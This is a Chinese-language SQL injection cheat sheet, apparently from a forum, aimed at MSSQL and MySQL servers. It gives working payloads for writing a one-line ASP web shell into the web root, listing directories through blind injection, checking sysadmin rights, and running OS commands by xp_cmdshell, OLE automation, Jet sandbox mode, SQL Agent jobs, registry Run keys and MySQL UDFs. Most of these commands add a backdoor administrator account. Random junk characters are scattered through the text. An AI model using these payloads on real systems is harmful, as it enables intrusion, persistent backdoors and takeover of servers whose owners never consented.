MSSQL语句导出一句话木马
/ s5 Z1 f! l: P6 F" l首先确定网站的WEB路径2 p% _4 G3 l0 Y! S% g$ T3 G r
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
" ?; c6 x- C2 ^, j6 Y! w0 s: C
# s$ f6 }5 I! `9 X3 h2 y% B;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
- w$ t" D! w5 Z0 Z//将一句话木马插入表中* c+ T5 Z1 T) R5 G$ T6 u+ |* W
2 N/ F/ ^4 \2 r+ A;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- / h- g# W5 a+ R8 F7 f2 p0 g+ y
//导出一个ASP文件1 `: r& Q' v5 Y) @
/ \' h" T8 ~$ n& F9 r
% I0 `6 u! G4 M
关于MSSQL列目录; A9 t% f! K7 o" |+ P& ~, ~
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表, T# r" h5 C0 o' c; F
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
2 x9 c6 O$ X) x* A* P
, g+ \) \: r; v3 Nand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
( M) O% ^ H! w ~- ^1 a% @! h! y5 A2 J5 Q
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段0 O( X3 U B! a9 e7 e# D# {* k
/ w. f$ _' Z3 DAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符& \9 Y7 U' D# Z( B3 V
- n( J& `, \* j2 O4 f' x5 h) J$ P1 S8 {: ^9 c
数据库版本和权限查看9 P2 P7 G- M2 Y; D
and 1=(select @@VERSION) //查看详细的数据库信息.. d/ F* M& f' W, d1 p
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
/ W( X$ k4 G. N) m4 d$ band 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER5 @1 @$ x' ]5 V$ x G' O4 [
* d- x" W# J" P" H! e
, \, q' R6 u4 u# k1 `" v/ X' X1.利用xp_cmdshell执行命令
1 D# Z# M* K' z8 d8 j5 f! Wexec master..xp_cmdshell 'net user rfire 123456 /add'
# t. A* k$ Y8 j& ^0 oexec master..xp_cmdshell 'net localgroup administrators rfire /add'
+ D$ d2 b7 e0 u, M5 @) f9 \% |
$ m$ U9 R/ T6 }- b7 g恢复xp_cmdshell存储过程
2 h. Y$ t v1 w" A7 e I, YExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'' {2 g' ^( ?8 M9 H: b) f
1 V9 Q8 o6 C. L8 x9 G
?7 T+ w/ C) z, K' u3 F/ S' A2.利用SP_OAcreate和SP_OAMETHOD执行命令" A( T Z/ E9 f- n" \
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
$ H& L2 r' i$ U# c( FDECLARE @shell INT //建立一个@shell实体0 u! K" B9 x- L" M. ?# P) s
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例& J+ T0 D+ ^$ f( X8 p9 B
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
' r4 u) e0 }0 A" b/ j3 o t" V: S. ^+ i! J' w, r1 U( }4 q2 I
9 _: `1 C4 K; t! {0 t& M$ p
3.利用沙盒模式
* `* C6 Q/ [2 Z9 [! \+ @, {/ }先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
: k* h0 b F, X( t2 H2 }4 T开启沙盒模式:
( H# w4 `" M* d8 ^) k7 y& H% hEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0. X/ ~ p5 u" }
# Z. J6 b0 h- Q5 Q7 P执行命令:% ~$ v) u' w) @) Q9 }4 N
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
7 P7 Z$ k6 A* B% ~* W
^6 f" y/ ?5 R4 T+ K9 e p5 `. k$ u0 R3 `
4.利用SQL代理执行命令
+ f! y$ f9 o1 SEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
/ F( F7 }; j0 S
8 |- I% y$ p2 z, X5 _9 }执行命令:
8 Y. L6 T$ W! @2 juse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错4 g; L- f/ M$ w9 ]0 e
exec sp_add_job 'x'
9 T4 K/ a4 O: g! dexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
& t5 |0 z& J/ j( [7 {exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
/ L8 n% ~2 {% j' B4 R+ b+ j
! k+ z5 K, r- s+ j
2 J/ _% U* E- S- F; b" o6 Y5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
3 e( Y) K! G& n4 r, N+ oEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
) [ H: J' ~+ Q/ O2 s; E
8 p: A' N7 L' f5 ~5 i. P) u/ r
$ x( N5 y3 ?3 n; G z, Q: j6.MYSQL的命令执行
4 W2 K. w& f n! o9 iMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
! i7 t& J0 O* i/ y& c首先要在su.php下导出c:\windows\udf.dll
$ Z- S) _" A0 Q+ B导出后执行创建自定义函数命令:
8 U5 k$ Y i/ v8 {* p" ECreate Function cmdshell returns string soname 'udf.dll'5 V3 V0 H( q- Q$ m
执行命令/ z2 Y! q9 x7 T3 O8 G" l& J( H: N$ y
select cmdshell('net user rfire 123456 /add')4 H" @/ y, H f* W: E2 c
执行后删除函数 drop function cmdshell4 e$ z# Z" ?5 d( o2 L, a- Y
|